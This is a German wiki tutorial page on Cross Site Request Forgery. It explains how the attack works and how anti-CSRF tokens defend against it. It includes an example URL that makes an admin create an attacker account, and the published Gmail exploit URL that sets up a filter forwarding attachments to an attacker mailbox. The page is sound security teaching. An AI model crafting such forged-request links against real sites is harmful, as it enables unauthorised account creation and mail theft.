Benutzer:Raf-dat/Penetration Testing/CSRF
Cross Site Request Forgery ist eine Methode, mit der man ein Opfer eine Aktion unbewusst ausführen lassen kann.
Funktionsweise[Bearbeiten]
Bei CSRF muss ein Formular vorhanden sein, welches man das Opfer abschicken lassen will. Wenn die Inhalte nur von der Methode GET sind, kann man einen Link daraus machen, sonst muss man ein HTML-Dokument so präparieren, dass alle Inputs versteckt sind. Der Link, der verschickt wird, verweist dabei auf die Zielseite des Formulares. Alle erforderlichen Attribute werden vom Angreifer schon ausgefüllt, und die Zielseite fasst es als normales Abschicken des Formulares auf. Eventuell bekommt das Opfer die Meldung, dass das Formular erfolgreich abgeschickt wurde, aber rückgängig kann es es in der Regel nicht machen.
Als Beispiel kann man folgendes (von Wikipedia ausgelehntes) Szenario nehmen: Nur der Administrator einer Seite kann neue Benutzer für diese erstellen. Dies geschieht normalerweise mit einem Formular mit den Attributen action=newuser, username=[Benutzername] und password=[Passwort]. Das Ganze wird mit der Methode GET an die Seite admin.php abgeschickt.
Der Angreifer bildet nun folgende URL:
http://www.seite.de/admin.php?action=newuser&username=evil&password=k0mpl1z13rt
und schickt sie dem Administrator. Wenn dieser angemeldet ist, erstellt er einen neuen User nach den Bedürfnissen des Angreifers.
Anmerkung: Wenn das Formular mit der Methode POST abgeschickt wird, kann man natürlich mit XSS ein gefaktes Formular schreiben, wenn man auf einer vertrauenswürdigen Seite eine XSS-Lücke entdeckt.
Absicherung gegen CSRF[Bearbeiten]
Die beste Methode gegen CSRF ist, dass man als versteckten Input beim richtigen Formular eine willkürlich generierte alphanumerische Zeichenfolge mitgibt, die auf der Zielseite überprüft wird. Falls die Webanwendung lückenlos ist, hat der Angreifer keine Möglichkeit, diese Zeichenfolge zu generieren.
Es reicht nicht, z. B. nur bestimmte Referrer zu akzeptieren, da diese mit entsprechenden Tools leicht gefälscht werden können.
Beispiele[Bearbeiten]
Bei Gmail.com gab es eine solche Lücke, die zum Glück von einem White Hat namens Petko D. Petkov entdeckt wurde. Er berichtete auf seinem Blog gnucitizen.org darüber. Er nahm ein neues Feature von Gmail, nämlich die erstellung von Filtern, unter die Lupe und fand heraus, dass es überhaupt nicht gegen CSRF gesichert war. Mit den Filtern konnte man auf vielfältige Art und Weise bestimmte Aktionen automatisieren. Unter anderem Mails auf eine andere Adresse leiten. Mit folgendem Code (der Link wird über einen POST-Redirector geleitet) war das möglich:
http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/formdata&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/ %3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z& irf=on&nvp_bu_cftb=Create%20Filter
Hierbei werden alle E-Mails mit Attachment an die Adresse evilinbox@mailinator.com weitergeleitet. Der Code wurde erst veröffentlicht, nachdem Google die Lückee behoben hatte.